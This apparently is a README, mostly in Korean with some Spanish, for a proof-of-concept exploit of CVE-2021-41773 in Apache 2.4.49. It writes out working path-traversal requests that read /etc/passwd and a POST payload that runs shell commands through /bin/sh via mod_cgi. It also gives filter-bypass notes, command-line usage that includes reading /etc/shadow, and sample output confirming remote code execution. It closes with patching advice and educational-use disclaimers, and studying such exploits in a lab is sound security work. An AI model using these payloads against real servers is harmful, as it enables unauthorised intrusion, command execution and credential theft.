
CVE-2021-41773에 대한 개념 증명
통제된 자체 환경에서만 사용하십시오. 권한 없이 시스템을 대상으로 사용하지 마십시오.
Apache HTTP Server 2.4.49에 존재하는 취약점 CVE-2021-41773을 시연하고 이해하기 위해 개발된 PoC입니다.
이 결함은 URL로 인코딩된 문자를 올바르게 검증하지 못한 ap_normalize_path() 함수에 있습니다. 이로 인해 공격자는 인코딩된 문자 시퀀스(../ 대신 %2e%2e%2f)를 사용하여 DocumentRoot 밖으로 벗어나 시스템의 임의 파일을 읽을 수 있었습니다.
mod_cgi 모듈이 활성화되어 있으면 취약점이 **RCE(원격 코드 실행)**로 확대되어 Apache 프로세스의 권한으로 서버에서 직접 명령을 실행할 수 있었습니다.
서버가 취약하려면 다음 조건을 모두 충족해야 합니다:
| 조건 | 설명 |
|---|---|
| Apache 버전 | 정확히 2.4.49 |
| 접근 지시자 | 구성에서 Require all granted |
| CGI 모듈 | mod_cgi 활성화(RCE 전용) |
Apache 2.4.49는 일반적인 ../를 필터링했지만 URL 인코딩된 버전은 필터링하지 못했습니다. 공격자는 필터가 감지하지 못하지만 운영 체제가 올바르게 해석하는 경로를 구성합니다:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f는 ../의 URL 인코딩입니다. Apache는 이를 통과시켰고 OS가 해석하여 웹 디렉터리 밖의 파일에 접근할 수 있었습니다.
mod_cgi가 활성화되어 있으면 경로 탐색을 사용하여 파일 대신 /bin/sh를 가리킵니다. Apache는 이를 CGI 스크립트로 처리하여 실행합니다. 명령은 최소한의 셸 스크립트로 POST 본문에 담겨 전송됩니다:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
명령의 출력은 HTTP 응답으로 전달됩니다.
취약점을 재현하는 가장 간단한 방법은 Docker를 사용하는 것입니다:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
또는 취약한 구성이 적용된 수동 Apache 2.4.49 이미지를 사용할 수도 있습니다:
<Directory />
Require all granted
</Directory>
테스트에 사용한 설정 파일들을 남겨 두겠습니다.
왜 'requests'가 아니라 'urllib3'인가?
requests는 path의 문자를 보내기 전에 자동으로 다시 인코딩합니다.
이로 인해 서버가 %2e 대신 %252e를 수신하게 되어 페이로드가 깨집니다.
urllib3는 path를 수정 없이 보낼 수 있습니다.
왜 %2e%2e/가 아니라 .%2e/인가?
Apache는 mod_rewrite 모듈에서 %2e%2e/를 필터링합니다.
.%2e/ 변형은 의미상 동일하지만 필터를 통과하며,
path 정규화가 검증 이후에 발생하기 때문입니다.
mod_cgi 모듈이 활성화되어 있어야 합니다.
활성화되어 있지 않으면 경로 탐색만 가능합니다.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Ejecutar el comando 'id'
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
# Ejecutar un comando con espacios
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 이상으로 업데이트하십시오.Require all denied를 구성하십시오.mod_cgi를 비활성화하십시오.⚠️ 이 저장소는 교육 목적으로만 제공됩니다.
권한 없는 시스템에 이 익스플로잇을 사용하는 것은 불법입니다.
통제된 로컬 환경에서만 테스트되었습니다.
공격 보안 포트폴리오를 위해 교육 목적으로 개발된 PoC입니다.
| 인자 | 필수 | 설명 |
|---|
--target | 예 | 서버의 기본 URL(예: http://localhost:8080) |
--mode | 예 | 파일을 읽기 위한 traversal, 명령을 실행하기 위한 rce |
--cmd | 아니요 | rce 모드에서 실행할 명령(기본값: id) |